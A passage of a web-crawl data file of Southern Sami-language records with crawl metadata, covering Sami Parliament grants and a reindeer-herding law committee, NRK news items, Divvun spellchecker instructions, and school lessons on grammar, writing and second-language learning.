dovres sjidteme jih daam filmem saemien gielese jarkoestidh, jeahta Warendorph.\n- Lohkh aaj:\n–Fahkoeh dellie !Giele ambassadøre Risten Guntel Eira tuhtjie rovnehke ij naan beetneh-vierhtieh gååvnesidh jih filmem saemien gielese jarkoestidh. Dah saemien politihkerh tjuerieh fahkedh jih beetnegh daan barkose maeksedh.","id":"","dump":"CC-MAIN-2017-39","url":"https:\/\/www.nrk.no\/sapmi\/vaenie-saemien-maana-filmh-1.11668641","date":"2017-09-23T15:07:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818689686.40\/warc\/CC-MAIN-20170923141947-20170923161947-00219.warc.gz","language":"sma","language_score":0.9999953508,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999953508377075}","num_words":226,"character_repetition_ratio":0.123,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lea barre akte biejjie aajmone Sápmi Awardse, Jåhkemehkesne, jih Vaino Persson lea akte dejstie mij finalese bööti.\nMohte lea akte deahpadimmie mij deahpadamme, dihte meatan bijle ov-læhkosne minngemes laavadahken.\n– Bilje mov sontere bööti jih mov juelkiem kleemmi, mohte ij leah tsoepkenamme, Vaino Persson jeahta.\nMaahta meatan gaahtjedidh?\nGaahtjemissnie edtjieh dah finalisth mierkh mujhtedh jih aaj roehtedh. Mohte guktie dihte sjædta?\n– Vååjnoes guktie nemhtie sjædta, mohte lea barre tjuedtjielidh. Kaanne klaahkam nuhjtedh, Persson föörhkede.\nMohte Vaino buerie bïvenesem åtna: –Manne edtjem meatan årrodh.\nGovlh abpe goerehtimmiem desnie:","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/www.nrk.no\/sapmi\/meatan-bijle-ov-laehkosne-1.11770332","date":"2017-10-19T02:23:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187823214.37\/warc\/CC-MAIN-20171019012514-20171019032514-00163.warc.gz","language":"sma","language_score":0.9999651909,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999651908874512}","num_words":86,"character_repetition_ratio":0.028,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Noerhte-Trööndelage båetijen aejkien sïjse\nBåetijen aejkien edtjebe mijjen jieledh jieledh. Fylhkendigkien vihkielommes laavenjasse lea Noerhte-Trööndelagem stuvredh orre aejkiej sïjse. Dïhte åelede mijjem aktem siebriedahkem evtiedidh mij båetijen aajkan sjeahta, mij aktegsalmetjem ååktoe jïh gusnie mijjieh ektesne raerieh gaavnebe dejtie stoerre laavenjasside. Mijjieh sïjhtebe Trööndelagen sijjiem veartensisnie åvtese lutnjedh, jïh nuepieh aaj vuejnedh Noerhte-Trööndelagen jïh Nöörjen raasti ålkoli. Politihkeles våarome","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/www.ntfk.no\/Aarjelsaemien\/Sider\/Politihkeles.vaarome.aspx","date":"2018-05-24T21:23:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794866870.92\/warc\/CC-MAIN-20180524205512-20180524225512-00361.warc.gz","language":"sma","language_score":0.9999923706,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999923706054688}","num_words":59,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Utnedh Divvunprogrammem MS Office 2011:sne\nDivvun Mac:esne utnedh\nGosse MS Office:m rïhpestamme, dle tjoerh daatovrasse soptsestidh magkarinie gïelesne lea tjaalasovveme.\n1. Mïerhkesjh dam saemien tekstem:\n2. Mïnnh menyesne Dïrrege > Gïele… :\n3. Veeljh gïelem Katalansk (Catalan) gosse noerhtesaemiengïelesne, gïelemBaskisk (Basque) gosse julevsaemiengïelesne, jallh gïelem Slovakisk (Slovak) gosse åarjelsaemiengïelesne (1):\n4. is datne jïjnjem saemiengïelese tjaalah, dle maahtah saemien voestesveeljemegïeline veeljedh orre tjaatsegidie. Dam hov naemhtie darjoeh: Diedtieh båaloem Standard… (Vuartesjh dam ovtetje guvviem) jïh dan mænngan diedtiehJa:\n5. Divvun mïerhkesje dejtie båajhtoeh baakojde rööopses sïevine:\n6a. Maahtah dejtie båajhtoeh baakojde staeriedidh jis åelkiesbåalojne diedtelh dejtie baakojde mah leah båajhtode tjaalasovveme:\n6b. Jallh maahtah staeriedimmiedialåågem rïhpestidh:\n7. Gosse vuartasjidh guhte versjovnem staeriedimmieprogrammeste åtnah, tjaelieh dle dam tekstem «nuvviDspeller», jïh åelkiesbåaloem dïedtelidh gosse teksten bijjelen leah:\n1. Ij leah Microsoft daen raajan naan sjïere dovtegem dorjeme guktie saemien gïelide Mac:esne dåarjelidh, jïlhts dovtege MS Office:ese jïh Windows:ese gååvnese. Håhkoe lea ahte båetijebiejjide versjovnh MS Office:ese jïh Mac:ese aaj daam dovtegem åadtjoeh. Daen raajan tjoeveribie saemien gïelide jeatjah gïeline tjïelkestidh mah gååvnesieh MS Office:sne.","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/divvun.no\/sma\/korrektur\/userdocs\/mac\/use-msoff-2011-sme-nob.html","date":"2018-09-18T16:31:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267155561.35\/warc\/CC-MAIN-20180918150229-20180918170229-00373.warc.gz","language":"sma","language_score":0.9999835491,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.999983549118042}","num_words":162,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.099,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie jïh NBR leah sïemes moenehtsen mandaaten bïjre.\n– Moenehtse edtja dejtie sisnjelds tsiehkide båatsosne vuartasjidh, jïh maahta vielie jarkelimmieh raeriestidh mah prosessh gorredieh mah leah vïedteldahkesne jïh legitimiteetem utnieh båatsosne. Moenehtse edtja aaj raastem vuartasjidh privaaterïekteles stuvremen jïh byögkelesrïekteles reeremen gaskem, jïh sïjtebielien sijjiem vuarjasjidh. Moenehtse edtja jarkelimmieh raeriestidh mah sijhtieh areaalevaarjelimmiem nænnoestehtedh båatsosne, jïh laakenænnoestimmieh vuartasjidh mah leah bovtsetaalen bïjre, saemiedigkiepresidente Keskitalo jeahta.\n– Vihkeles laakese iktemierien vuartasjidh jïh leavloem bïejedh jielemen dååjrehtimmide aktine båatsoelaakine mij ij aktem almetjerïekteles njieptjiem utnieh. Gosse eevre tjïelke juvnehtimmieh åadtjodh guktie laake byöroe jorkesidh, dellie sæjhta aaj aelhkebelaakan Stoerredigkien vööste barkedh dej daerpies laakejarkelimmieprosessi bïjre, NBR:n åvtehke Ellinor Marita Jåma jeahta.\nSaemiedigkieraerie Silje Karine Muotka tjïerteste Laanteburrie- jïh beapmoedepartemeente (LBD) gaatesjen leah akten laakeproseessem sjïehteladteme gusnie sæjhta båatsoelaakem revideradidh såemiesmearan jïh ajve bieline, jïh ajve paragraafeste paragraafese.\n– Saemiedigkie lea staateles åejvieladtjh bööredamme aktem laakemoenehtsem tseegkedh, men vååjnoe goh LBD annje sæjhta laakem jarkelidh aktene juakeme prosessesne. Dan åvteste mijjieh daelie dam ellen voestes saemien laakemoenehtsem nammoehtibie, Muotka jeahta jïh altese mïelen mietie tuhtjie eevre reaktoe daate dorjesåvva båatsoesuerkesne.\n– Båatsoe akte tjïelke aalkoealmetjejieleme, jïh saemien perspektijvh jïh vuajnoeh tjuerieh gorresovvedh juktie dåarjoehtimmiem åadtjodh saemijste jïh båatsoste.\nMoenehtsisnie, mij edtja dejnie ållesth gïehtjedimmine båatsoelaakeste barkedh, daah almetjh:\nRagnhild Marit Sara - moenehtsen åvtehke, juriste\nKirsti Strøm Bull, professovre, dr.juris\nSamuel John N. Anti, båatsoesaemie\nNils P Joma, båatsoesaemie\nEllen Inga Turi, dr.philos dotkeme- jïh ööhpehtimmiedirektööre, dr. philos.\nNils Mikkelsen Utsi, advokaate, saemiedigkietjirkije jïh båatsoesaemie\nAnna Ravna Gaup, båatsoesaemie\nMattias Åhren, professovre, dr. juris\nEllen Sara Sparrok, båatsoesaemie\n– Mijjieh aaj garmeres juktie aktem væjkeles saemien juristem mij lea nyjsenæjja, åvtehkinie utnebe laakemoenehtsisnie; gidtjh Ragnhild Marit Sara, saemiedigkiepresidente Keskitalo jïh NBR:n åvtehke Ellinor Marita Jåma jiehtieh.\nGålkoen 29.b. Saemiedigkie sæjhta akten faageseminaarese Altesne bööredidh gusnie teema sjædta ovmessie gyhtjelassh goh jïjtjenænnoestimmie, jïh daaletje haestemh ektiedamme båatsoelaakese.\n– Mijjieh bååstede båetebe bööredæmman seminaarese, men desnie moenehtsen åvtehke sæjhta aktem åenehks aalkoehåalemem utnedh. Daate akte stoerre jïh vijries barkoe sjædta, men jis båatsoen ïedtjh edtjieh gorresovvedh båetijen aejkien laakejarkelimmine, tjoerebe daam prosessen tjïrrh, Muotka minngemosth jeahta mij lissehte Saemiedigkie sæjhta tjaelemesijjine årrodh moenehtsasse mij edtja göökte jaepieh daejnie barkedh.\nJis dov gyhtjelassh jallh gihtjehtimmiem sïjhth, gaskesadth:\n* Saemiedigkiepresidente Aili Keskitalo, +47 971 29 305\n* NBR:n åvtehke Ellinor Marita Jåma, +47 916 13 460\n* Saemiedigkieraerie Silje Karine Muotka, +47 984 87 576","id":"","dump":"CC-MAIN-2019-04","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/PRM-Voestes-saemien-baaatsoelaakemoenehtse-nammoehtamme","date":"2019-01-20T06:42:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583700734.43\/warc\/CC-MAIN-20190120062400-20190120084400-00292.warc.gz","language":"sma","language_score":0.9999629259,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999629259109497}","num_words":366,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lïerehtimmie jïh learoevierhtieh\nStipende\nStipende jollebe ööhpehtæmman julevsaemien jallh åarjelsaemien gïelesne, jïh saemien gïeleööhpehtimmie studentide maarkasaemien dajveste\nSaemiedigkie stipendem vadta studentide mah jollebe ööhpehtimmiem julevsaemien jallh åarjelsaemien gïelesne vaeltieh, jïh studentide maarkasaemien dajveste mah saemien gïeleööhpehtimmiem vaeltieh.\nSaemiedigkie gïeleskreejremestipendem vadta learoehkidie jåarhkeskuvlesne mej saemien goh faage jåarhkeskuvlesne.\nDåarjoe\nSaemiedigkie dåarjoem vadta saemien maanagïertide jïh saemien goevtesidie nöörjen maanagïertine mah saemien kultuvrem jïh gïelem våaroeminie utnieh.\nSaemiedigkie dåarjoem vadta maanagïertide mah eadtjohkelaakan berkieh saemien gïelh maanagïertesne nænnoestehtedh jïh evtiedidh.\nSaemiedigkie dåarjoem vadta juktie sïejhme jïh sjïere sjïehteladteme learoevierhtieh maadthlïerehtæmman evtiedidh.","id":"","dump":"CC-MAIN-2019-04","url":"https:\/\/saemiedigkie.no\/Tilskudd-og-stipend?tag=88","date":"2019-01-20T06:35:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583700734.43\/warc\/CC-MAIN-20190120062400-20190120084400-00324.warc.gz","language":"sma","language_score":1.0000044107,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 1.0000044107437134}","num_words":89,"character_repetition_ratio":0.111,"word_repetition_ratio":0.0,"special_characters_ratio":0.107,"stopwords_ratio":0.202,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Stipende\nStipende jollebe ööhpehtæmman julevsaemien jallh åarjelsaemien gïelesne, jïh saemien gïeleööhpehtimmie studentide maarkasaemien dajveste\nSaemiedigkie stipendem vadta studentide mah jollebe ööhpehtimmiem julevsaemien jallh åarjelsaemien gïelesne vaeltieh, jïh studentide maarkasaemien dajveste mah saemien gïeleööhpehtimmiem vaeltieh.\nSaemiedigkie gïeleskreejremestipendem vadta learoehkidie jåarhkeskuvlesne mej saemien goh faage jåarhkeskuvlesne.\nDåarjoe\nFormålet med tilskuddsordningen er å sikre det finansielle grunnlaget til organisasjonene til partier og grupper som er representert i Sametinget.\nSaemiedigkie dåarjoem vadta evtiedæmman pedagogeles ïebnijste maanagïertide.\nSaemiedigkie dåarjoem vadta saemien maanagïertide jïh saemien goevtesidie nöörjen maanagïertine mah saemien kultuvrem jïh gïelem våaroeminie utnieh.\nSaemiedigkie dåarjoem vadta maanagïertide mah eadtjohkelaakan berkieh saemien gïelh maanagïertesne nænnoestehtedh jïh evtiedidh.\nSaemiedigkie dåarjoem vadta juktie sïejhme jïh sjïere sjïehteladteme learoevierhtieh maadthlïerehtæmman evtiedidh.\nFor å være kvalifisert til å søke om driftstilskudd og søke om velferdsordninger, må du være registrert i duodjiregistret.\nJeatjah guhkiebasse barkoe saemien reaktajgujmie, arealigujmie jïh vierhtiejgujmie - ohtsemebaseradamme dåarjoe","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/saemiedigkie.no\/Daaarjoe-jih-stipende","date":"2019-03-19T14:43:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912201996.61\/warc\/CC-MAIN-20190319143502-20190319165502-00513.warc.gz","language":"sma","language_score":0.9998046756,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999804675579071}","num_words":142,"character_repetition_ratio":0.11,"word_repetition_ratio":0.0,"special_characters_ratio":0.119,"stopwords_ratio":0.134,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien gærhkoebiejjieh histovreles dajvesne\nMåahvie lea veeljesovveme dan åvteste staaren akte saemien ektiedimmie. Måahvien gærhkoe, staaren jarngesne, saemide bïgkesovvi jaepien 1723 Thomas von Westen'istie. Dïhte voestes skuvle Måahvesne aaj saemide bïgkesovvi. Skuvle lij Moholmesne, staaren båarasommes staarebielie. Dovne Måahvien gærhkoe jïh Moholmen lea festivaaledajven lïhkebisnie.\nFaaktah Måahvien bïjre\nDaesnie bïevnesh staaren bïjre båetieh, saemiej sijjie staaren histovrijesne, kultuvrefaalenassh jnv.\nEejehtalleme Raane-dajvesne?\nGoh fealadæjja dle Raane-dajve jïjnjh murreds eejehtallemenuepieh faalehte. Mannasinie ij Saemien gærhkoebiejjieh aktine eejehtalleminie dajvesne aktanidh?\nVielie bïevnesh eejhtallemenuepiej bïjre daesnie båetieh.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/www.samiskekirkedager.no\/sma\/maahvie\/","date":"2019-03-23T19:26:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912202924.93\/warc\/CC-MAIN-20190323181713-20190323203713-00500.warc.gz","language":"sma","language_score":0.9999982119,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999982118606567}","num_words":82,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.134,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ohtsememierie: Ræhpas ohtsememierie\nGïeh maehtieh dåarjoem åadtjodh: Maadthskuvlh learohkigujmie mah lïerehtimmiem saemien gïelesne åadtjoeh.\nMïsse maahta dåarjoem åadtjodh: Maahta dåarjoem åadtjodh prosjektide maadthskuvlesne mah eevtjieh evtiedimmiem saemien gïeleste, identiteeteste jïh sertiestimmeste aerpievuekien daajroste. Lïerehtimmieprosjekth finansieradidh mah vïenestallemem jïh vïenevoetem eevtjieh, prosjekth\nsaemien miehtjieåtnoen jïh aerpievuekien bivtemen jïh göölemen sisnjeli, jïh duedtieprosjekth mah ulmine utnieh aerpievuekien daajroem jïh saemien gïelem sertiestidh.\nSaemiedigkie dåarjoem vadta tjïelke prosjektide mah viehkiehtieh guktie learohkh maadthskuvlesne lïerehtimmiem åadtjoeh saemien aerpievuekien daajroen bïjre, jïh mah viehkiehtieh guktie saemien aerpievuekien daajroe meatan vaaltasåvva skuvlen voenges learoesoejkesjinie.\nVåaroehtimmieh 2019:\n- Råajvarimmieh\/prosjekth mah sijhtieh viehkiehtidh guktie saemien aerpievuekien daajroe vielie skuvlesne åtnasåvva jïh gusnie daajroesertiestimmie båarasåbpoe boelvijste nuerebe boelvide sjugniehtåvva gusnie fokuse lea bïerkenimmie, duedtie jïh saemien gïelelïerehtimmie.\n- Prosjekth gusnie learohkh saemien gïelelïerehtimmiem åadtjoeh praktihkeles barkoen tjïrrh.\n- Lïerehtimmieprosjekth mah viehkiehtieh guktie njaalmeldh soptsestimmieaerpievuekie jïh joejke\/vuelie jïh duedtie vielie åtnasuvvieh.\n- Råajvarimmieh miehtjieåtnoen jïh bivtemen\/göölemen sisnjeli gusnie fokuse lea saemien gïelelïerehtimmie praktihkeles barkoen tjïrrh.\n- Vïenestalleme.\nMan jïjnjem maahta åadtjodh: Dåarjoe 150 000 kråvnaj raajan","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/www.saemiedigkie.no\/Daaarjoe-jih-stipende\/Aerpievuekien-daajroe-jmaadthskuvlesne","date":"2019-03-20T13:04:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912202347.13\/warc\/CC-MAIN-20190320125919-20190320151919-00161.warc.gz","language":"sma","language_score":1.000005722,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000057220458984}","num_words":158,"character_repetition_ratio":0.107,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.209,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie teemesne edtjebe aamhtese-tjaalegh goerehtidh. Datne åadtjoeh lïeredh ovmessie aamhtese-tjaalegi bïjre, jïh aaj guktie jïjtje maahtah aamhtese-tjaalegh tjaeledh.\nFïerhten biejjien mijjieh tjaalegh lohkebe, jïh jeenjemes tjaalegijstie leah aamhtese-prosa. Dellie lohkebe mij heannede veartanisnie gusnie jielebe. Saernieh jïh reklaame ovmessie meedijisnie leah aamhtese-prosa. Tjaalegh lohkeme-gærjine jïh SMS-bïevnesh aaj aamhtese-prosa.\nAamhtese-tjaalegh maehtieh dovne tjaaleldh jïh njaalmeldh årrodh. Gellien aejkien tjaelije tjïelke åssjelem åtna tjaaleginie gosse aamhtese-tjaalegem tjaala. Naan aamhteseprosa-tjaalegh maahtoem mijjese vedtieh, vuesiehtimmien gaavhtan guktie edtjebe gaahkoeh bååhkesjidh jallh guktie edtjebe gaamegh gåarodh.\nGosse edtjh aamhtese-tjaalegh tjaeledh dellie hijven maallen mietie tjaeledh. Daennie kapihtelisnie datne raerieh åadtjoeh guktie maahtah ovmessie tjaalegh vïjhteboelhken-vuekien mietie tjaeledh. Aaj åadtjoeh ovmessie tjaalegh lohkedh, maam maahtah maalline nuhtjedh, gosse edtjh tjaeledh.\nVïjhteboelhke-vuekien bïjreKjernestoff\nDigkiedimmie-lahteseKjernestoff\nKååserijeKjernestoff\nPersovneles essayKjernestoff\nFaage-tjaalegeKjernestoff\nTjåanghkoeKjernestoff\nByjjes prievieKjernestoff\nNaemhtie byjjes prievie maahta vååjnedhKjernestoff\nGuktie e-påastem tjaeledhKjernestoff\nKååserije jïh petiteKjernestoff\nLohkije-tjaalegeKjernestoff\nAkte hijven maadth-bïhkedasseKjernestoff\nGïeleviehkie-dïrregh lohkije-tjaaleginieKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:175119\/topic:1:173412","date":"2019-04-22T15:27:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00445.warc.gz","language":"sma","language_score":1.0000029802,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000029802322388}","num_words":141,"character_repetition_ratio":0.117,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.092,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Substantijvh, adjektijvh jïh pronovmenh maehtebe nomeninie gåhtjodh. Mijjieh dejtie kasusinie jïh taaline sojjehtibie.\nSubstantijve\nSubstantijve lea aate, almetje, dahkoe jallh mij akt maam ussjedibie lea konkreete jallh abstrakte ektievoete guktie vuesiehtimmien gaavhtan:\nmaana, tïjje, aavoe, gåetie, åssjele\nSubstantijven lea daamhtaj bijjie-lïhtse substantijve-jiehtieginie. Maehtebe raajesisnie utnedh substantijvh adjektijvh, pronovmenh jïh taale-baakoeh vuelie-lïhtseginie.\nGïehtjedh raajesem: Daah golme bïenjh\nBaakoe bïenje maahta pronovmenem daate, taale-baakoe golme jïh adjektijve onne vuelie-lïhtseginie utnedh, daah golme onne bïenjh mij lea ektievoete raajesisnie.\nPronovmene\nPronovmene sæjhta jiehtedh substantijven sijjeste. Dïhte dan goerkesem åådtje substantijveste jallh tsiehkeste gusnie dam utnebe. Maehtebe teeksteste lohkedh mij substantijvide dïhte pronovmene vuesehte. Maehtebe aaj mïss'akt tjuvtjiedidh jïh dan mænngan pronovmenem utnedh. Pronovmene seamma vuekine sojjehtibie substantijvine. Raajesisnie pronovmene seamma sijjesne deavhta substantijvine, men ij dïhte maehtieh vuelie-lïhtsegem utnedh. Tjïjhtje pronovmene-dåehkieh gååvnesieh. Maahtah vielie dej bïjre grammatihke-gærjesne lohkedh.\nAdjektijve\nAdjektijvh leah baakoeh mah jïjtsevoeth jallh kvaliteeth buerkiestieh, guktie vuesiehtimmien gaavhtan:\nguhkies, onne, tjeehpes\nGosse adjektijve oktegh raajesisnie, dellie dïhte lea substantijvine. Guktie vuesiehtimmien gaavhtan:\nLyövlehkem guadta.\nBåetebe bueriebasse.\nKasush\nMijjieh nomenh gaektsine kasusinie sojjehtibie, akten-taalesne jïh gellien-taalesne.\nVoestegh tjoerebe daejredh man gellie lïhtsh baakoe åtna, jis gööktelïhtsen-nomene jallh golmelïhtsen-nomene.\nGööktelïhtsen-nomenh leah nomenh mej leah göökte lïhtsh vuesiehtimmien gaavhtan bïenj-e jïh nomenh mej leah njieljie lïhtsh, vuesiehtimmien gaavhtan åår-e-dæjj-a, sop-tse-stimm-ie.\nGolmelïhtsen-nomene golme lïhtsh åtna, vuesiehtimmien gaavhtan gaa-me-ge, åe-ru-ve.\nIj nominatijve-hammoe sojjehtimmieminngie-gietjem utnieh jïh mijjieh daam hammoem baakoe-gærjine gaavnebe, guktie vuesiehtimmien gaavhtan:\ngærja, skuvle, gaevnie, barkoe, mobijle.\nLohkh vielie sojjehtimmien bïjre grammatihke-gærjesne.\nBaakoeh\nSaemien\nDaaroen\nbijjie-lïhtse\noverledd\nsubstantijve-jiehtege\nsubstantivfrase\nvuelie-lïhtsege\nunderledd\nektievoete\nenhet","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181933\/topic:1:194367\/topic:1:185442\/resource:1:177180","date":"2019-04-19T17:10:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00061.warc.gz","language":"sma","language_score":0.9999432564,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999432563781738}","num_words":248,"character_repetition_ratio":0.107,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Almetjh leah iktegisth soptsestamme. Dah soptsesh soptsestin, soptsestin mij heannadamme jïh vaajestin maam govleme. Saemiej jïjnjh soptsesh mah boelveste boelvese soptsestamme.\nTjiehpies-lidteratuvren tjaalegh maam akt soptsestieh ov-ryöktesth saetniesvoeten bïjre. Gosse lohkije maam akt låhka mij hæhtadamme, dellie dïhte maahta maam akt lïeredh veartenen bïjre gusnie dïhte jïjtje jeala. Mijjieh maehtebe tjiehpies-lidteratuvrem golme åejvie-sjangeridie juekedh: lyrihke, epihke jïh draama\/dramatihke. Epihke soptsesh leah novellah jïh soptsesh.\nSoptsesh leah vihkeles gaajhkine kultuvrine. Dah histovrijem guedtieh, jïh kultuvren åålmegi jïjtse-domtoem jïh jïjtse-goerkesem jååhkesjieh jïh orrestieh. Mijjen jielemh leah goh soptsese, mij aalka, jåarhka jïh orreje. Mijjieh almetjh goerkesem jïh ektiedimmiem jieliemisnie ohtsedibie. Soptsesh mijjese vierhtieh jïh ektiedimmieh vedtieh, mej mietie mijjieh maehtebe mijjen jieliemidie öörnedh.\nNovellam lohkedh jïh guarkedhKjernestoff\nMov aahkan gåetie jïjnjh tjïehtjelhKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182064\/topic:1:179686","date":"2019-04-19T17:16:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00077.warc.gz","language":"sma","language_score":1.0000039339,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000039339065552}","num_words":120,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.142,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie ij leah dagkerh lahtestimmieh vadteme aarebi, men daennie reektehtsisnie tjoevkesem beaja vihkeles gyhtjelasside mah leah sjyöhtehke gellide eatnemeskilkehtasside saemien dajvine. Daejnie dajvine saemien åtnoe jïh jielemh, gaskem jeatjah båatsoe jïh loesegööleme.\nSaemiedigkie daejnie reektehtsinie sjïerereektijasse tjoevkesem beaja gellide joekoen sjyöhtehke aamhtesidie Nöörjesne, goh vuesiehtimmien gaavhtan gruvagïehtelimmie Fálesnuorisne\/Kvalsundesne jïh bïegkejårrehtsebigkeme Fovsenisnie. Edtja sjïerereektijen reektehtsem EN:se buektedh ruffien 2019 åvtelen.\nVielie bïevnesh reektemen bïjre daesnie.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/Saemiedigkie-eatnemeskilkehtassi-bijre-EN-se-reektie","date":"2019-04-23T06:18:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578593360.66\/warc\/CC-MAIN-20190423054942-20190423075842-00022.warc.gz","language":"sma","language_score":1.0000021458,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.000002145767212}","num_words":63,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.124,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nubpien-gïele lea dïhte gïele maam leara ietnien-gïelen minngelen. Nubpiem gïelem maahta lïeredh jov gosse voestes-gïelem lïereme. Dam gïelem aaj maahta fïerhten biejjien utnedh, beajjetje soptsestallemisnie jïh voen siebriedahkesne.\nMij nubpien-gïele?\nNubpien-gïele lea gïele mij ij sïejhme gåetesne soptsestidh. Dam gïelem leara jïh soptseste jeatjah sijjine, vg maana-gïertesne, skuvlesne jallh voelpigujmie ektesne.\nNubpien-gïelem sïejhmemes voerkeslaakan maanese leerie. Eejhtegh sijhtieh maana edtja nubpiem gïelem lïeredh. Maanam saemien-gïelen maana-giertese bïejedh, biejjie-hïejmese jallh gïele-beasan gogka akth. Dellie maana gïelem aalka soptsestidh. Gosse almetje gïelem leara jåårke nubpiem gïelem dellie maahta guektien-gïelen sjïdtedh. Dellie gielide raakte seamma hijven soptseste.\nVoestes-gïelen tjiehpiesvoete nubpien-gïelen lïeremem jïh övtiedimmiem dæjpa. Jis almetje jïjtse voestes-gïelem hijven maahta dellie nubpien-gïelem verkebe leara. Voestes-gïelen gïeleræjhkoesvoeth, baakoeh, jiehtesh jïh daajroeh abpe nubpien-gïelem lïeremem jïh övtiedimmiem dijpieh.[1]\n- 1«Gïele lea faamoe». Maren Palismaa. Davvi Girji. 